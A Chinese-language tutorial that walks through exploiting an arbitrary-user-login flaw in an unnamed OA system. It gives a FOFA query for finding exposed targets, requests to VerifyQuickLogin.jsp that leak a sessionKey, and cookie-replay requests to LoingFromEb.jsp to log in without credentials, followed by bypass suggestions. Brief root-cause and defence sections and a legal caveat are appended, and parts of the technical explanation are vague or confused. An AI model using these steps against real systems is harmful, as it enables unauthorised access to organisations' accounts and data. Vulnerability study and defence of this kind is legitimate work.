某OA系统任意用户登录漏洞分析与利用教学

漏洞概述

这是一个针对某OA系统的任意用户登录漏洞，通过特定接口可以获取有效的sessionKey，然后利用该sessionKey实现未授权登录系统。

漏洞验证与利用步骤

第一步：识别存在漏洞的系统

使用FOFA等网络空间搜索引擎查找可能存在漏洞的系统：

title="某OA系统" || body="某OA系统特征"

第二步：验证漏洞接口

1. 验证VerifyQuickLogin.jsp接口

GET /mobile/plugin/VerifyQuickLogin.jsp

如果系统存在漏洞，该接口会返回有效的sessionKey。

2. 验证LoingFromEb.jsp接口状态

GET /mobile/plugin/plus/login/LoingFromEb.jsp

检查返回状态码是否为200

第三步：获取sessionKey

访问以下接口获取sessionKey：

GET /mobile/plugin/VerifyQuickLogin.jsp

成功响应会返回类似以下格式的sessionKey：

xxx-xxx-xxxx

第四步：利用sessionKey进行登录

尝试使用获取的sessionKey进行登录：

1. 方法一：通过Cookie传递sessionKey

GET /mobile/plugin/plus/login/LoingFromEb.jsp
Cookie: sessionKey=xxx-xxx-xxxx

或

GET /mobile/plugin/plus/login/LoingFromEb.jsp
Cookie: loginKey=xxx-xxx-xxxx

2. 可能的响应情况

• 成功登录：跳转到系统内部页面
• 失败响应：返回window.location.href="/login/login.jsp?message=19"

第五步：绕过登录限制

如果直接使用sessionKey无法登录，可以尝试以下方法：

1. 构造特殊的请求头组合
2. 尝试在URL参数中传递sessionKey
3. 检查是否有其他相关接口可以利用

技术原理分析

1. VerifyQuickLogin.jsp接口：该接口未对访问进行严格验证，导致可以未授权获取有效的sessionKey

2. LoingFromEb.jsp接口：该登录接口存在会话验证缺陷，允许使用通过其他途径获取的sessionKey进行身份验证

3. 会话管理缺陷：系统未正确验证sessionKey的来源和有效性，导致会话固定攻击可行

防御建议

1. 对VerifyQuickLogin.jsp接口：

   • 增加严格的权限验证
   • 限制访问频率
   • 记录访问日志

2. 对LoingFromEb.jsp接口：

   • 实现完整的会话验证机制
   • 检查sessionKey的来源和有效性
   • 增加二次验证

3. 通用防御措施：

   • 实现完善的会话管理机制
   • 定期更新会话密钥
   • 记录异常登录行为

注意事项

1. 该漏洞已存在较长时间，公开后可能已被部分系统修复
2. 实际利用时成功率可能不高，需要尝试多种方法
3. 测试时应注意法律风险，仅限授权测试使用

扩展利用思路

1. 尝试结合其他接口进行更深层次的利用
2. 检查获取的sessionKey是否有权限限制
3. 寻找其他可能存在类似问题的接口

通过以上步骤，可以完整验证和利用该OA系统的任意用户登录漏洞。实际测试中可能需要根据目标系统的具体配置进行调整。